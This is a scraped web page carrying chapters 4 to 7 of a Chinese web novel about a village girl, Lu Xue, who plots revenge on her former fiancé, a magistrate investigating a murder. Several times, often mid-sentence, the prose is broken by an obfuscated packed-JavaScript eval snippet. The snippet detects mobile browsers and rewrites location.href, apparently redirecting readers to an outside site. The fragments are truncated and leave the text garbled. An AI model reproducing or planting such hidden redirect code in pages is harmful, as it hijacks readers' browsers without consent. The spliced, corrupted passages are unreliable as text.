刚开始他们都觉得少,抱怨说老头子没了,卢大富也不认这些穷亲戚了。 可这话对于卢大富来说根本无用,他体格高大站在门口瓮声瓮气道:“不要?那还给我。” “要,要。”到手的东西哪有退回去的道理。 不过他们也知道从卢大富那里得不来好处,便将主意打到焦红杏身上。 毕竟只是个柔弱的妇人,他们直接带来一位长辈,便将焦红杏压的说不出话。 可怎么也没想到没讨到好处。 因此将视线对准年纪小的阿雪身上。 “我不记得。” 年轻貌美的女郎声音也悦耳,那干瘪妇人不由得嫉妒起来,暗恨卢大富娶了媳妇忘了娘,把自己媳妇女儿养的娇贵,不顾家里的亲戚。 这般想着,说话不免刻薄起来。 “过上好日子就不记得我们了?”妇人嘴里发出啧啧的嘲讽声,阿雪不是傻子,当然听出来对方的阴阳怪气。 如果是寻常的小娘子,恐怕要和妇人掰扯纠缠片刻,但阿雪则是直接了当道:“你是我爹那头的亲戚,那就等我爹回来再说。” 说完就抬脚快步离开,妇人追了一会没追上,气的直跺脚。 谁敢等卢大富回来啊?若不是害怕卢大富,他们早就过来了! 甩开妇人的阿雪心情不虞。 不止是因为自己被拦,更多的是因为母亲备受为难。为何以前那些亲戚不敢?为何现在敢作威作福? 就是因为之前阿雪和谢家有婚约关系,他们溜须拍马还来不及,哪敢说不好听的?如今婚约被退,倒是都来落井下石了。 越想阿雪越气,将这些事情全部算在对方的头上,暗自下决心,一定要讨个说法才行。 …… 被她琢磨的“前未婚夫”正在一处小破宅院里。 谢临安今日未着官袍,换了一身素净青衫,唇角带笑眉眼风流,玉树临风之姿。 “大人,死者生前就是住在此处,因为来的时间短又早出晚归,因此和附近邻居都不相熟。” 用那张画像找了三天,靠着蛛丝马迹才找到这里。捕头已经查探过,屋里没人。 谢临安颔首,朝着屋里去了。 一行人都知道他办事的规矩,不敢乱入,就在门口等着差遣。 屋里陈设简单,用手指拂过,玉白的指腹登时染了一层灰。 旁边的松石见状奉上擦手巾,谢临安擦过手,吩咐道:“都进来。” 鱼贯而入的捕快们一改喧嚣,默不作声的查找,片刻后,众人禀告说并无特别之处,甚至连贵重物品都没有。 “因为已经被人拿走了,当然没有。” 捕快们惊讶,不明白他怎么看出来的。这时谢临安不紧不慢道:“去将厨房和隔壁杂物间一并查探。” 众人称是立刻散去,谢临安叫住王捕头,嘱咐道:“你带人去仔细查探厨房。” 年轻郎君眼眸幽深,像是一口深不可见底的水井,惊的王捕头打了个寒颤。 再看向谢临安时,对方依旧是温润如玉的模样,仿若方才都是幻觉。 “是。” 松石作为侍候谢临安的仆从,自然跟着主子站在院子里。他看见自家郎君视线轻扫,似乎在打量整间院落。 正值上午,官府的人一路过来时,就有不少好信儿的百姓跟了过来,远远的围观议论纷纷。一部分议论命案,另外一部分嘛,自然都盯上这位年轻俊美的县令爷了。 寻常百姓兴许一辈子都没机会见到当朝官员,更别提如此容貌的官。 未婚的小娘子们羞红了脸,也有妇人盘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561447|142725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算着有没有机会接近县令,更多的百姓则单纯欣赏谢临安的容貌。 不止是容貌,大抵是天生贵人,举手投足都气度不凡。 回过头时,日光洒在他的脸上,宛若镀了一层金光。 人群里有人低低吸了口气,“神仙下凡啊。” 松石见怪不怪,毕竟在京城那等多俊男美女的地方,他们郎君都是独一份,更别提在这了。 就是被这么多人围着看,松石觉得烦,于是问道:“郎君,我去将人驱走?” “不必,正好拿着画像过去问问,不管什么消息都记录好。” 这里正是死者住处附近,或许能得到更多的消息,早日找到凶手。 “大人!”就在这时,原本查看厨房的王捕头捂着口鼻冲出来,因着憋气他脸涨的通红,“请大人移步。” 看来这是有所发现了。 松石好奇极了,也跟着进去厨房,结果刚一进去直接干呕出来。 谢临安就比他好不少,因为方才见到王捕头的模样就已经有所准备,用一只袖子捂住口鼻,可还是隔绝不住腐烂作呕的气味。 “大人,您看,这是方才在泔水桶里找到的东西。” 放置了好几日的泔水,就算初春没那么热,也因时间久而发臭了。而在泔水桶的旁边地上,放置了一只刚捞出来的粉色绣鞋,一看就是女子的东西。 但问题是,死者屋里并无女人生活痕迹。 王捕头直觉不对,因此叫来县令大人,请他决断。 “先将东西收好。” 捂着口鼻,说话声音便有些沉闷。 这句话之后谢临安立刻快步出了厨房,看样子应当是受不了了。 果然,晌午的时候谢临安什么都没吃,面色不大好,倚在窗边一杯接一杯的喝茶。 待到了晚上松石询问吃什么,他神色恹恹说不吃,松石不免担忧起来,语重心长道:“郎君,您还是吃一些吧,我叫人煮一碗素面?” 汤汤水水,更容易让人想到恶心的东西。 谢临安闭了闭眼,松石便明白他的意思了,索性再泡一壶清茶过来。 过了片刻后,松石突然想到:“郎君,不如去买几个菜包子?” 那家的包子松石没吃过,不过见自家郎君似乎很喜欢,他觉得应当做的还算不错。 这时候吃些素净东西才好。 许久没有动静,松石以为他不想吃,欲要再说什么时,谢临安淡淡出声。“好。” 按照松石的想法,天色完了,他跑一趟就是。但郎君想走动,松石也没拦着,出来走动也好,免得闷在房里总想那些画面。 只是快到的时候,松石正色道:“郎君我去吧。” 那女郎总是想攀上来,松石可不想郎君被她贴上。 “可。” 一路朝着铺子去,松石板着脸,直接道:“五个素包子,三个肉包子。” 见过一次自然认识,阿雪还左右看了看,但没瞧见谢家那小子。 “他呢?” 松石皱眉,阿雪已经利落的装好东西了,不过没交给他,而是道:“谢郎君……不,谢大人在何处?我有重要的话同他讲。” 果然。 松石在心中冷笑。 哪里是想说事情,分明就是想尽办法靠近他们郎君。 以前在京城的时候应付的多了,松石得心应手,直接放了钱拿东西就走,阿雪在后面喊了两声也不应。 松石低头快步走,穿过一条街见到站在树下的谢临安。 身材颀长的郎君负手而立,微微仰头,似乎在看树上新抽绿芽。听见脚步声,他侧头看过来,然而视线却落在了松石身后。 松石直觉不对立刻转身,还不等他反应过来,一道纤细的影子如风般擦身而过。 “姓谢的!” 阿雪大喊冲了过去。 5. 第 5 章 松石怎么也没想到,那小娘子竟然悄声跟了上来! 他根本来不及反应,纤细的人影便朝着谢临安冲了过去。 不过谢临安反应迅速,退后两步侧过身,阿雪便扑了个空。 他眉头微蹙,看向因着急跑动而发鬓凌乱的小娘子。 “……谢……谢……”跑的太快喘着粗气,语句不连贯。 一张圆脸血色上涌,犹如春日桃花。 这时候松石已经动起来了,当即跑过来双手伸展,犹如老母鸡般将谢临安挡在身后。 “大胆刁民,莫不是想袭击朝廷命官?” 阿雪还弯着腰喘粗喘,半响之后才缓缓起身,面上血色退了不少,粉嘟嘟的像是成熟的蜜桃。 一双圆润清澈的眼眸越过松石,直直的盯着谢临安。 “你……不认识我了?” 虽说她也不记得谢家小子长相,但她还是能靠着手上的痣将人认出来,怎么他半点都不记得自己? 说着,阿雪脸色又变得涨红,但这次是气的。 与阿雪的激动相比,谢临安就显得淡定不少,眼神如古井无波。 想要攀龙附凤的小娘子不在少数,以前在书院时,每次谢临安出现,那些世家贵女们便会想尽办法靠近他。被人围着着实不是件愉快的事情,光是浓重的胭脂水粉味道便要叫人窒息。 幸而没多久,太子就觉得无趣,老老实实回了东宫,谢临安身为太子伴读,也跟着回去,总算是消停下来。 看见她的眼神,谢临安面上闪过不耐。 不用细想,便知道对方打的什么主意,无非是比其他小娘子聪明些,换了新花样罢了。 谢临安沉默不语,松石则是猜测对方下一步便要随口编个理由,以证明和他们郎君有缘分,然后再得寸进尺! 果然,那位圆脸小娘子开口了。 “我是卢雪。”阿雪面上闪过失望,但更多的是恼怒。 两个人的婚事他一个人说的算也就罢了,现在还不认识她。凭什么?她也要做主一回,甩他一次才公平。 活了十六年的阿雪第一次脑子转的这么快,当即就决定了一个报复计划。 天色昏暗,只有路边商铺窗户透出来的一点光亮。漂亮的小娘子一会皱紧眉头,一会作沉思状,脸色变幻极快,却也将心思明明白白写在脸上。 谢临安没有错过她的神色,唇角浮现一抹玩味的笑。 乡野小娘子,倒是单纯质朴。 “不记得也没关系,你叫我阿雪就成。”阿雪自我介绍,心想这下总该想起来了,如果还是不记得,那兴许是他装的。 装就装,看谁能装过谁。 阿雪抬起眼眸看对方,谁料他一言不发,转身走了。 “喂!” 这人怎么这样?小时候明明很讨喜,怎么长大了还有点让人厌烦? “小娘子自重。”松石留下这句意味深长的话后,紧随谢临安离开。 “自重……”阿雪嘀咕这两个字,总觉得对方话里有话。 也是巧了,回去路上碰见了严为之,阿雪急迫的问道:“严夫子,有事情想向你请教。” 天色晚了,严为之刚从学堂回来,一手捧着书卷,一只手拎着一盏破灯笼,有风灌进去,那火焰忽明忽暗。 他在见到阿雪的时候,脸上笑意迸发,将灯笼往她的方向递了递,正好照亮她周身方寸之间,火光映入小娘子的灿若星辰的眸子里,严为之握着灯笼的手收紧,竟然紧张起来。 “严某定然知无不言,言无不尽。” 阿雪其实没听明白他说什么,她着急道:“就是有人说‘自重’,是什么意思?” “自重,多是警告,也有用作嘲讽之意,要看具体的前因后果才好判断。” 严为之张了张嘴,有心想问具体发生了什么,但又觉得自己没有询问的立场,所以转了话题道:“阿雪你没事吧?” “原来是这样。”阿雪恍然大悟,颇为飒爽道:“我没事。” 对方哪里是忘了她,分明就是假意不认识她! 看吧,还让那个仆从来讽刺她。 想到这,阿雪越发的气愤,严为之看出来她心情不好,想要劝说几句,结果阿雪朝着他道谢然后就走了。 “你……”严为之看着她背影,小声道:“倒是让我送送你啊。” …… 可能是发现占不到便宜,因此那些吸血的亲戚安分了几日。 阿雪心事重重晚上睡不好,焦红杏担忧,点了光亮起身,问她:“是不是哪里不舒服?” “没有。”阿雪垂下眸子翻了个身,背对着母亲。 看来,是有女儿家的心事了。 焦红杏又喜又忧,喜的是哪怕他们被退婚,凭借自家女儿的长相和能力,也是能找到好婆家的。忧的是阿雪也不知道惦记上哪家的小郎君,作为母亲暂时不好问,或许该问问莲花。 翌日,阿雪做馒头的时候走神,莲花来了之后探头一看,啧啧两声摇头道:“大的大,小的小,阿雪,这是在研究新样式?” “不是。”寻常小娘子大概要臊的慌,但是阿雪浑然不觉,抓起面团重新揉过,规规整整大小如一,放进蒸屉里盖好盖子。 “莲花,你说一个女子该如何抓住男子的心?” 莲花刚要坐下,听闻此言差点跳起来,眼睛瞪的如铜铃:“什么?你说什么?” 她该不会是听错了吧? “就是我想让一个人喜欢我,该如何做?” 她睡前又想了许久,当面质问,他大可以不承认,抓住人打一顿吧,又怕连累家里。想来想去,就只能用同样的办法报复他。 就像是严夫子曾说过的一句话,什么“以彼之道还治彼身”。 先是让他喜欢上她,然后再狠狠将人抛弃! 大概齐就是这个意思吧。 莲花吃惊的咽了咽口水,道:“那个女子,不会就是你吧?” 莲花也不知道想到了什么,忽地眼前发亮。 明白了!一定是阿雪觉得严夫子还不错,所以想主动下手了。 要她说,根本不用阿雪怎么做,严为之怕是自己就咬钩了。不过看阿雪的样子,恐怕还没发现严为之喜欢她。 罢了,俩人互相看对眼最好,莲花乐得当这个月老,于是积极出主意。 “要我说啊,你就对他多关心,比如他家境贫寒,每次都吃菜包子,那就多给他一个,当然了,不能直接给,要用不损害男人尊严的方式。” 家境贫寒? 谢郎君吗? 他被侯府认回去,应该过上好日子了才是。等等……阿雪回忆这两次见面,好像确实哪里不对劲。 除却他穿官服的那次,第二次见面时好像他的衣着素净极了,半点花纹都没有,瞧着和严为之差不多。 难道……因为他是后认回去的孩子,所以过的不好? 对了,一定是这样。 阿雪记得以前在村子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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因为着急,所以也没看见拐角大盆栽后的一片茜色衣角。 屋里,谢临安浅啜一口茶水,才觉得没那么头晕脑胀,不过他依旧闭眼揉着太阳穴,琢磨这件毫无头绪的命案。 吱呀,是房门开了。 谢临安未睁眼,淡声道:“再泡一壶茶。” 话音落下,没听见松石的声音,而且脚步声明显缓慢轻盈,且一股说不出的香气靠近。 谢临安睁眼。 洗的发白的茜色衣裙,圆脸小娘子身形单薄,她正蹑手蹑脚的朝他靠近。 谢临安随意的将胳膊支在桌面上,撑着下颌,神态放松似笑非笑的看她。 在京城时,也有胆大的小娘子在雅间里堵谢临安,上来便要献上一曲,亦或者穿着单薄积极献舞。 总之,想尽一切办法引起他的注意。 可惜,谢临安都没什么兴趣,甚至觉得无聊的很。 这会儿,小娘子手里拎着一个布兜子,已经放在了桌面上,她伸手欲要打开。 会是她自己的绣品?亦或是什么展示自己的道具? 想到这,谢临安无甚兴趣,开口欲要赶人。 却不想她打开兜子,拿出里面的盒子,一股酸甜令人食欲大开的气味弥散开。 红彤彤的山楂裹满了白色糖霜。 搭放在膝盖上的修长手指无意识的点了两下。 6. 第 6 章 阿雪看谢临安,见他还穿着昨日那件青色衣衫,心想果然可怜啊。 殊不知,谢临安一件衣服从不穿两天,这件是新的,而且颜色也不同,乃是湖蓝色。上好的布料做的衣衫,一件衣服顶普通人家一年的嚼头,更别提他腰带上用金线绣着的如意祥云暗纹。 但这些阿雪都不懂,她拿着小盒子,里面装了几颗酸甜扑鼻的山楂雪球。 “这是去年的山楂,吃起来可能口感一般。” 阿雪扑闪着一双明亮干净的眼眸,语气熟稔,好似俩人相识已久。 她见他不接,便将东西放在他身侧的桌子上,瞧见上面摆放着一套茶具,也如他的衣服似的半点花纹都没有,而且杯盏上还带着龟裂的痕迹。 啧~果然过的不好啊。 那她可就高兴了。 单纯如白纸的小娘子根本压不住翘起的唇角,好像碰见了什么喜事。 谢临安顺着她的视线看过去,除了那套珍贵易得的茶具,并无其他。 放在膝盖上的手指点了两下,如果是松石在这,定然能发现这是谢临安心情还不错的小动作。 “对了,还给你带了菜包子。” 莲花说要让她多关心,从温饱开始。 可阿雪舍不得自己的肉包子,便只将剩下的菜包子和两个馒头拿了过来。她心想,既然他都吃不饱饭了,还挑三拣四?能填饱肚子就成呗。 屋里只有阿雪一个人说话的声音,自始至终,谢临安都不曾言语。 待小娘子将东西一股脑的摆放在桌面上后,包子、馒头、几样干巴巴的小菜…… 谢临安的额角跳了跳。 “吃啊,我记得你爱吃这个菜包子来着,对了,你可以蘸醋吃,会格外好吃。” 儿时的事记不大清楚了,只记得那时候谢家小子和他娘相依为命,母子俩日子不好过,厨房里油盐酱醋什么都没有。 有一次,焦红杏让阿雪送了两盘素馅饺子给隔壁,送完后阿雪哒哒跑回来,又将酱油和醋各取了半碗。 后来俩家结了亲,焦红杏还逗阿雪,说她胳膊肘往外拐,从家里偷醋给小未婚夫吃。 对,谢家小子喜酸。 既然决定让他喜欢上她,阿雪觉得就该做足了准备,因此将醋也带来了,企图唤起他的回忆,亦或者让他高兴,快点喜欢上她。 倒出来后一小碟深褐色的液体,散发着浓郁的酸气,阿雪喜滋滋的等着他的反应,却不想他皱起眉头。 “拿走。” “啊?” 阿雪有点懵。 她呆滞的时候,一双漂亮的眼眸也不会转了,呆呆楞楞透着几分傻气。 就在这时,出去买东西的松石回来,见到阿雪大吃一惊,不容分说立刻将人赶了出去,甚至看着她一步三回头不见踪影,他才放心上楼。 桌面上放着的东西,让松石摇头。 如此寒酸的玩意儿,怕是侯府的马奴都比这吃的好。 莫不是穷乡僻壤之地的小娘子都是如此?献殷勤也该献好东西才是,这小娘子…… 松石把买来的面放在桌子上。 “郎君尝尝,是蒸面。” 没有汤,蒸熟之后直接放调料搅拌开,面条劲道爽口,香气更加浓郁。 说完,松石就着手清理阿雪留下的东西,嘴里小声念叨:“小娘子胆子也太大了,郎君还是小心些,若是她再来,您大可以喊隔壁房间的王捕头。” 以前在京城的时候,也有一些坚持不懈的小娘子追着郎君,认为精诚所至金石为开。可惜啊,最后都以失败而告终。 “若再纠缠,就将她拿……” 松石忽然瞪大眼睛不说话了。 因为他看见自家郎君竟然捻起一棵裹了糖霜的山楂,仔细端详之后放进口中。 这、这…… 郎君可从来不吃旁人送的东西。 片刻之后,松石反应过来了。 暗道小娘子好重的心机,知道他们郎君食不下咽,特意送来开胃的玩意。 呵,好心机!好手段! 郎君不会因为这点小东西而对那人改变看法吧? 松石紧张的看向谢临安。 吃了一颗后,谢临安拿着帕子,慢条斯理的擦拭手指,淡声道:“难吃。” 松石缓缓松了口气。 侯府的世子吃穿用度自然是最好的,不管春夏秋冬新鲜的瓜果压根就不曾断过,自然看不上去岁时节留下的干瘪山楂。 他们郎君啊,也就是尝个酸甜滋味罢了。 虽然确实让谢临安食欲大增,但那些东西,最后全被松石扔掉了。 阿雪还不知道这些,她心情舒畅脚步轻快,认为自己“报仇”第一步走的还算顺利。 回家后焦红杏问她:“阿雪,你可有看见厨房吊篮里的山楂?” 略显慌张的小娘子垂下眼眸,只说没瞧见,然后匆忙去洗漱避开焦红杏。 因此她也没听见焦红杏后面那句。 “那可能是我记错了,没关系,反正是去年的东西,都长虫子了。” 夜里睡觉,阿雪梦见了谢家小子。 梦中她双手叉腰仰天大笑,谢家小子跪坐在地涕泪横流,抱着她的大腿哭泣道:“阿雪都是我的错,是我始乱终弃,我有罪,我不该退婚……” 焦红杏听见咯咯笑声惊醒,见是女儿闭着眼睛笑,她便也笑了,掖好被角抱着女儿沉沉睡去。 人逢喜事精神爽,更让阿雪惊喜的是,卢大富和卢石头回来了。 天色微亮,父子俩已经将猎来的野味卖给了酒楼,拿着满满一袋子钱回来,此刻正坐在院子里收拾工具。 “阿姐!” 卢石头朝着阿雪冲过来,抱着人不松手。 姐弟差三岁个头倒是快一般高了。 他们感情好的很,阿雪也没嫌弃弟弟身上都臭了,摸着他脑袋问。 “这次可有受伤?” “当然没有!我多厉害啊。”卢石头大言不惭,松开阿雪后喜滋滋的拉着她,指着院里卢大富正在收拾的狐狸。 “火狐狸,等处理好了冬日里给娘和你做披肩。” “这等好料子还是卖了吧,镇上肯定有大户人家喜欢。” 焦红杏从房里出来,若是兔子等不太值钱的便算了,火狐狸这等珍贵的玩意,还是卖钱为好。 焦红杏想的多,觉得女儿到年岁该出嫁了,虽说被退了婚,可凭借女儿的容貌定能找到一户好人家,到时候他们再准备好丰厚的嫁妆,阿雪定然能过上好日子。 还有卢石头,以前家里没什么银钱不能念书,如今富裕了,最好去学堂读书写字,能考出功名来最好,若是不能,往后也可以靠着会读书找一份活计,总比冒着危险进山打猎来的好。 已经处理好皮毛的卢大富洗手上的脏污,闻言抬起头对着妻子憨笑:“你身子不好,这里的冬日太冷了,还是留着给你和阿雪用。” 焦红杏欲要再说话,倏地瞧见卢大富脸颊上的伤痕,当即顾不上其他,拉着人去屋里上药了。 夫妻俩好几天没见,卢大富抱着人先亲了一口,惹的焦红杏娇嗔骂道:“孩子们还在院子里。” “门窗都关着,没事。”卢大富浑不在意,不过下一瞬他面色严肃起来,“阿雪这几日如何?” “还好,女儿大了有自己的心思。” 那就是还难过了。 卢大富坐下,焦红杏给他上药。他叹气道:“两个孩子都随了我,心思摆在脸上,那时候知道被退婚后,阿雪明显不高兴。其实,我也不高兴。是,纵然他们是世家大族,可也不能单方面说退就退,总得商议着来才是。” 这般迫不及待,显得他们阿雪没人要似的。 卢大富越说越生气,脸色涨红,恨不得立刻进京城给女儿讨个公道。 “行了,过去的事儿就算了,如今重要的是过好我们自己的日子,再给阿雪找个好婆家。” “也是,阿雪这孩子从小就没心思,记打不记疼,她忙活铺子里的事情还来不及,估摸着也没时间悲伤。嘶~” “弄疼你了?” 卢大富憨憨一笑:“没有,好受着。” 焦红杏去推他,美眸流转,嗔怒道:“胡言乱语。” 卢大富只是哈哈大笑。 笑声传到了屋外,卢石头一脸不解,“爹在笑什么?” 阿雪思考片刻,“应当是有什么好事吧。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13561449|142725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 卢石头哦了一声浑不在意,他去把弓箭都收好,琢磨着再多做箭矢,免得等过些日子树林茂盛,箭射出去找不到。 阿雪过来帮弟弟忙,石头有意无意的扫过她的脸,闹的阿雪以为她脸上有东西,摸了一把,干干净净。 “你老看我做什么?” 卢石头藏不住心思,直言道:“看你心情怎么样。” 说完见她满面红光,不像是伤心的样子。石头脑子里一根弦,只记得临走进山前阿姐还有点不高兴来着,怎么现在倒像是捡到钱般喜气洋洋的? 这么想,也这么开口问,直接被阿雪重重打了一下,哎呦一声捂着额头。 “阿姐,你打我做什么?” “让你长长记性,别像爹一样,胡言乱语。” 石头长的像卢大富,身量高又壮,在山里打猎对上野猪都不怕,唯独怕自家阿姐。 “哦,知道了。”他声如蚊讷。 一家三口坐下吃了饭,阿雪着急去铺子里,卢石头洗洗手也跟着。 打猎在山里呆了这些天,风餐露宿得好好修养才是,卢大富已经躺下睡着了,卢石头年岁小精力旺盛,跟着阿雪去铺子忙碌。 路上碰见官差,卢石头一脸兴奋。“阿姐,你看,当官的!” 长这么大还是第一次见到捕快,卢石头当即站那不动了,还是阿雪转回身拎着他耳朵将人拽走。 卢石头生了一股蛮力,阿雪就将和面的活计交给他。 结果干活嘴也不消停,一直问阿雪关于官差的事情。 阿雪简单解释几句,卢石头亮出自己的拳头,略显稚嫩的少年一脸不屑。 “破案还不简单,用拳头说话呗。” “你以为抓犯人是在山里抓山鸡啊,”阿雪白了他一眼,“哪有那么容易?总得找线索讲证据。” 卢石头讪讪的摸头:“哦,我还以为给犯人一拳就行了呢。” 姐弟俩说话的功夫,铺子来人买包子,有认识卢石头的便会打声招呼,卢石头也乐得和他们说话,毕竟在山里憋了好几天,总算见到这么多活人了。 只是说着说着,卢石头忽然惊慌,直接闪身躲了起来。阿雪看了他一眼,布帘后的卢石头竖起一根手指,比划“嘘”。 “你也有怕的人。” 阿雪觉得好笑。 天不怕地不怕的卢石头,竟然也有害怕的人。 “严夫子,还是老样子?” 不待严为之走近,阿雪便热情招待这位老主顾。严为之着实觉得受用,一张俊秀的脸登时粉红。 “有劳阿雪了。” “夫子,今日也要去学堂上课吗?”阿雪故意大声说话,帘子后露出的双腿明显抖了抖。 严为之可不知道这是阿姐在吓唬弟弟,他没着急拿过包子,捧着书籍走近铺子里,想与阿雪多说几句话。 布帘后的卢石头痛不欲生。 在多年前,焦红杏打算送卢石头去读书的,当时还特意备酒席请严为之来家里吃饭。可惜,卢石头是块石头,半点不开窍,光是听严为之文绉绉的说话,就觉得头痛欲裂了。 好半响,严为之才离开,阿雪掀开帘子。“出来吧,人走了。” 卢石头谨慎的没动,浓密眉毛下的大眼睛滴溜溜转了一圈,确定人走了才迈步出来。 “阿姐,严夫子未免太能唠叨了。” “你懂什么,人家那叫满腹经纶。” 啧,卢石头不认同的摇头。 那些官差总来光顾阿雪的铺子,生意很是不错,阿雪忙着自己事情神采飞扬,像是忙碌在万花丛中的小蝴蝶。 卢石头放心下来,帮忙打杂。 待晌午时分,阿雪出去石头坐在那代为看铺子,瞧见一个年轻男子木着脸走过来。 “那位小娘子呢?” 一想到自家郎君吃了山楂肠胃不适的模样,松石便气不打一处来,说话时气势汹汹咬牙切齿。 “叫她出来。” 卢石头上下打量他,缓缓站起来,少年因着常年练武和打猎,身体强壮,体格宽厚,似乎能将松石装下。 卢石头脖子左右扭动发出咔嚓咔嚓的声音。 “你找我阿姐有事?” 7. 第 7 章 春日晌午是一天里最舒服的时辰,既不热也不冷,铺子里有石头看着,送完货的阿雪走的不紧不慢,偶尔停下脚步欣赏风景。 “真是天暖和了。” 镇内有一条小溪,因着没到雨季所以水浅,约莫到人小腿处,偶有妇人过去淘米洗衣。 溪边自然是有桥的,阿雪就走在桥上,看见那棵歪脖子柳树,随手折了一段柳枝。 冒出绿芽的柳枝象征春夏,看的人心情大好,阿雪因此脚步轻快起来,樱粉色的裙摆随风飘荡,犹如一只翩飞的蝴蝶。 远处,谢临安刚安排好捕快们要做的事情,便瞧见她越走越近。 他退后几步,闪身到巷子里,阿雪没瞧见他,笑着和相熟的人打招呼,圆润净白的脸上浮现出娇憨的酒窝。 日光照亮小娘子清澈的眉眼,犹如白昼下的星辰般闪耀。走的时间久了面带薄汗,阿雪索性靠边走阴凉处。 凉爽的感觉叫人心情大好,面上的笑意越发情真意切。 仅仅是树荫而已,就让她心情大好。 静静看她远去的俊美郎君负手而立,像是在思考着什么。 “郎君?” 匆忙回来的松石小声喊人,顺着他的视线往前看,在看见那道倩影之后,松石心里一咯噔。 他侍候谢临安多年,了解谢临安的习性和眼神。犹记得多年前,京城盛行养细犬,他们郎君也养了一条。 这是平静无波的生活里,难得的一点趣味。 松石知道谢临安有多喜欢那条细犬,每次它在花园里跑动时,谢临安就是现在的神色。 觉得有趣。 难道,郎君觉得那个叫阿雪的小娘子有趣? 这可不行。 临行前,侯夫人特意将松石叫过去,耳提面命让他照顾好主子。 “临安样貌家世都是完美的,不可让任何人任何事破坏他的名声,污了他的眼。松石,你可明白?” 侯夫人礼佛多年,身上带着一股温润和气,但说这话时,松石能感到一阵冷意,立刻跪下应承,保证会照看好主子。 侯府是什么人家?就算是妾室,也只能是贵女,而不是村野小娘子。 “郎君,要回客栈吗?”松石想着,尽快回去才是,不要和那小娘子碰见就好。 谢临安侧过头。 “你的脸怎么了?” 温润如玉的郎君,说话声音却是淡淡的。 松石立刻捂住右脸上的血痕,垂头道:“不小心摔倒了。” 说完半响无声,松石只能感受到头顶直射而来的视线,他觉得口干舌燥,不得不说实话。 “是……是和别人起争执时,摔在地上蹭的。” 就在方才,松石想去找阿雪讨公道,谁让他们郎君肠胃不适谁就要负责。结果没看见阿雪,被强壮护姐的卢石头推了一下,倒地刮破了脸。 “所以,你是因为上门讨要说法不成,而被自己弄伤了?” 松石面上一红,点了点头。 “做事莫要唐突。” 这话不算训斥,却让松石面涨如猪肝色。 他们郎君做事向来稳妥,他倒是半点都没学到。松石知道这件事是自己做的不对,立刻称是。 主仆俩往回走,过了一会,松石发现这不是回客栈的路,以为谢临安不记得方向,于是提醒道:“郎君,前面岔路口往右。” 谢临安置若罔闻,直接抬脚走去了左边。 松石也不敢说什么,只能跟上。一盏茶的时间后,二人停在一处医馆门前。 松石怔愣。 “愣着做什么,进去,看伤。” “是,是。”松石忙不迭的应下,心里发暖。 他们郎君一直都是如此,面冷心热啊。 …… 卢石头和松石起冲突的事情,到底没瞒过阿雪。 在外人面前强横的少年,转眼就变成一只鹌鹑,缩着脖子,任由阿姐训斥。 “说了多少次,不可与别人动手,怎么不听?忘了去年你把刘二柱打的骨折,被人家讨上门的事情了?” 寻常人家十三岁的少年绝没有卢石头这般高大,卢大富又带着他进山打猎,身手灵敏会不少招式,哪怕和成年男子对上也不会落下风。 但去岁时,卢石头闯祸了。 刘二柱小臂骨折,卢家赔了医药费额外又给了一两银子才算了事。 阿雪认为弟弟不会无缘无故的欺负人,问过之后才知道,原来其他孩子们都不和卢石头玩,所有人都孤立他,而幕后指使正是刘二柱。 这也便罢了,刘二柱他爹是个泼皮,嘴巴不干净,觊觎貌美的焦红杏许久,醉酒后吐露实情,被刘二柱娘听了去,夫妻俩吵了好几天。 刘二柱认为,就是焦红杏的错,因此越发的欺负卢石头,还口出狂言,说了不少难听的话。 卢石头最珍重娘和阿姐,哪里还能容忍?因此动手没收力气,直接将人打伤。 幸好阿雪先问了弟弟,随便找个理由糊弄过去,没让老爹知道,否则依照卢大富的性子,刘二柱的爹也得骨折。 阿雪认为她是姐姐,便耳提面命,告诉卢石头出门在外不可与人动手。 可谁成想就送货一炷香的时间,自家门前石子上竟然染了一丝血迹! “真不是我,”卢石头一直在解释,嘴巴都说干了,最后把邻居拉过来作证,阿雪才相信松石是自己摔倒划伤的。 “他来买包子?” 卢石头瘪着嘴,哼了一声,阿雪去捏他耳朵哄他,少年才转阴为晴。 “他说他家郎君肠胃不适,来找你算账,阿姐,他家郎君是谁?为何要找你算账?” 肠胃不适? 莫不是吃了她昨天拿的东西? 包子馒头都是当天现做的,小菜是咸菜缸里捞出来的…… 阿雪愣在那想了好一会,也没想明白究竟是什么导致他不舒服。 等等,他不舒服……那岂不是给她关心的机会了?昨天莲花说,多嘘寒问暖,用不了几天就会喜欢上她。 这般想着,阿雪露出一抹笑,露出脸上的小酒窝。 卢石头:“阿姐,你笑的好瘆人。” 既有石头在,阿雪就放心出行。 先是去附近赤脚大夫那开了两副药,然后又带了几个菜包子,拎着东西往客栈走去。 大抵是因为发生命案,小镇上人心惶惶,大家俱是行色匆匆的模样。怡然自得的阿雪就显得格格不入,莲花一眼就瞧见了。 “阿雪,阿雪。”莲花站在铺子门口叫人。 “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 